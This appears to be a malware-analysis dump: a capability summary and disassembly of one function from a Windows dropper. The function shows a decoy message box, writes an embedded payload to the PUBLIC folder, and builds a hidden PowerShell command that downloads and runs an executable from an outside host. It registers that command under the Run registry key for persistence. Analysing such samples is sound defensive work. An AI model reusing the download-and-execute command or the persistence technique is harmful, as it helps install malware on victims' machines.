Function at 0x140002530
Capabilities:
Create process on windows
Persist via run registry key
Query environment variable
Set registry value
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x1402557c0]
xor rax, rsp
mov qword [rbp + 0x320], rax
xor r15d, r15d
mov r9d, 4
lea r8, str.360
lea rdx, [0x140220b98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, 5
lea rcx, str.cmd__c_start_https:__sfdl.360safe.com_360zip_setup.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r8d, 0x104
lea rdx, [rbp + 0x10]
lea rcx, str.PUBLIC
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea rax, [rbp + 0x10]
mov rdi, 0xffffffffffffffff
mov rbx, rdi
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], r15b
jne 0x1400025d0
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x140002991
cmp rbx, 0xf
ja 0x14000261b
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], SafeArrayGetDim
mov r8, rbx
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x58]
call fcn.1401c3300
mov byte [rsp + rbx + 0x58], r15b
jmp 0x1400026b3
mov rax, rbx
or rax, 0xf
cmp rax, rsi
jbe 0x140002654
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003e84
test rax, rax
je 0x140002997
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140002691
mov rsi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x140002671
mov r14, r15
jmp 0x140002691
cmp rcx, 0x1000
jb 0x140002689
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000298b
jmp 0x140002635
call fcn.140003e84
mov r14, rax
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rsi
mov r8, rbx
lea rdx, [rbp + 0x10]
mov rcx, r14
call fcn.1401c3300
mov byte [r14 + rbx], r15b
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 0x11
jb 0x140002704
lea rax, [rcx + 0x11]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x58]
add rbx, rcx
mov r8d, 0x11
lea rdx, str.XWFLhmvpbxcE.dmp
mov rcx, rbx
call fcn.1401c3300
mov byte [rbx + 0x11], 0
lea rax, [rsp + 0x58]
jmp 0x14000271c
mov qword [rsp + 0x20], 0x11
mov edx, 0x11
lea rcx, [rsp + 0x58]
call fcn.140002a10
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], SafeArrayGetDim
mov byte [rax], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140002788
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002783
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002997
call fcn.1400039b0
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rcx, qword [rsp + 0x78]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x50]
mov r8d, 0x27400
lea rdx, [0x1402563c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [0x140220c1c]
lea r8, str.powershell.exe__ExecutionPolicy_bypass__noprofile__windowstyle_hidden__new_object_system.net.webclient_.downloadfile_https:__www.ey8n2zk.icu_5381a.exe_adec.exe__start_process_._adec.exe
mov edx, 0x200
lea rcx, [rbp + 0x120]
call fcn.140002ba0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000291f
lea rax, [rbp + 0x120]
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140002850
inc edi
mov dword [rsp + 0x28], edi
lea rax, [rbp + 0x120]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.FlaskMgt
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140002914
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
mov dword [rbp - 0x60], 0x68
mov dword [rbp - 0x24], 1
mov word [rbp - 0x20], r15w
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x120]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140002957
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002952
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002985
call fcn.1400039b0
xor eax, eax
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.14019d930
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1401a3c24
int3
call fcn.140002470
int3
call fcn.140002510
int3
call fcn.1401a3c24
int3